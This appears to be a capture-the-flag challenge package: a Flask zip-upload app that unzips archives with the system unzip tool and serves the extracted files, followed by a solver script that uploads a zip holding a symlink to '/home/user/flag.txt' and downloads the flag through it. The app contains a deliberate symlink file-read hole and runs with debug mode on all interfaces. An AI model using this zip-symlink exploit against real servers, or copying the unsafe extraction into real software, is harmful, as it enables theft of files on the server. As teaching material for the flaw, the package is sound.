1
import logging
2
import os
3
import subprocess
4
import uuid
5

6
from flask import (
7
    Flask,
8
    abort,
9
    flash,
10
    redirect,
11
    render_template,
12
    request,
13
    send_from_directory,
14
)
15

16
app = Flask(__name__)
17
upload_dir = "/tmp/"
18

19
app.config["MAX_CONTENT_LENGTH"] = 1 * 10**6  # 1 MB
20
app.config["SECRET_KEY"] = os.urandom(32)
21

22

23
@app.route("/", methods=["GET", "POST"])
24
def upload():
25
    if request.method == "GET":
26
        return render_template("index.html")
27

28
    if "file" not in request.files:
29
        flash("No file part!", "danger")
30
        return render_template("index.html")
31

32
    file = request.files["file"]
33
    if file.filename.split(".")[-1].lower() != "zip":
34
        flash("Only zip files allowed are allowed!", "danger")
35
        return render_template("index.html")
36

37
    upload_uuid = str(uuid.uuid4())
38
    filename = f"{upload_dir}raw/{upload_uuid}.zip"
39
    file.save(filename)
40
    subprocess.call(["unzip", filename, "-d", f"{upload_dir}files/{upload_uuid}"])
41

42
    print(f"Unzipped {filename} to {upload_dir}files/{upload_uuid}")
43

44
    flash(
45
        f'Your file is at <a href="/files/{upload_uuid}">{upload_uuid}</a>!', "success"
46
    )
47
    logging.info(f"User uploaded file {upload_uuid}.")
48
    return redirect("/")
49

50

51
@app.route("/files/<path:path>")
52
def files(path):
53
    try:
54
        return send_from_directory(upload_dir + "files", path)
55
    except PermissionError:
56
        abort(404)
57

58

59
@app.errorhandler(404)
60
def page_not_found(error):
61
    return render_template("404.html")
62

63

64
if __name__ == "__main__":
65
    app.run(debug=True, host="0.0.0.0", port=5000)

1
#!/usr/bin/python3
2

3
import os
4
import subprocess
5
import requests
6
from bs4 import BeautifulSoup
7

8
BASE_URL = "https://zipzone-web.challs.csc.tf"
9
URL_HOOK = ""
10

11
def get_uuid(text):
12
  soup = BeautifulSoup(text, 'html.parser')
13
  for a in soup.find_all('a', href=True):
14
    if a['href']:
15
      return a['href'].split('/')[-1]
16

17

18
def upload_file(file_path):
19
  with open(file_path, "rb") as f:
20
    files = {"file": f}
21
    response = requests.post(BASE_URL, files=files)
22
    return get_uuid(response.text)
23

24

25
def create_exploit(zip_filename:str,symlink_name:str,symlink_target:str):
26
    os.symlink(symlink_target, symlink_name)
27
    subprocess.run(['zip', '-y', zip_filename, symlink_name], check=True)
28
    print(f'{zip_filename} created.')
29
    os.remove(symlink_name)
30

31
def get_flag(UUID):
32
  response = requests.get(f'{BASE_URL}/files/{UUID}/evil_link',stream=True)
33
  if response.status_code == 200:
34
    with open("flag", 'wb') as f:
35
      for chunk in response.iter_content(chunk_size=8192):
36
        f.write(chunk)
37
    print(f"Flag download successfully")
38
  else:
39
      print(f"Error during the download: {response.status_code}")
40

41
  return open("flag", "r").read().strip()
42

43
def clean():
44
    os.remove('exploit.zip')
45
    os.remove('flag')
46

47
def main():
48
  create_exploit(zip_filename='exploit.zip',symlink_name='evil_link',symlink_target='/home/user/flag.txt')
49
  UUID = upload_file('./exploit.zip')
50
  print(f'UUID: {UUID}')
51
  flag = get_flag(UUID)
52
  print(f"Flag: {flag}")
53
  clean()
54

55
if __name__ == "__main__":
56
  main()
57

58
# goodluck by @akiidjk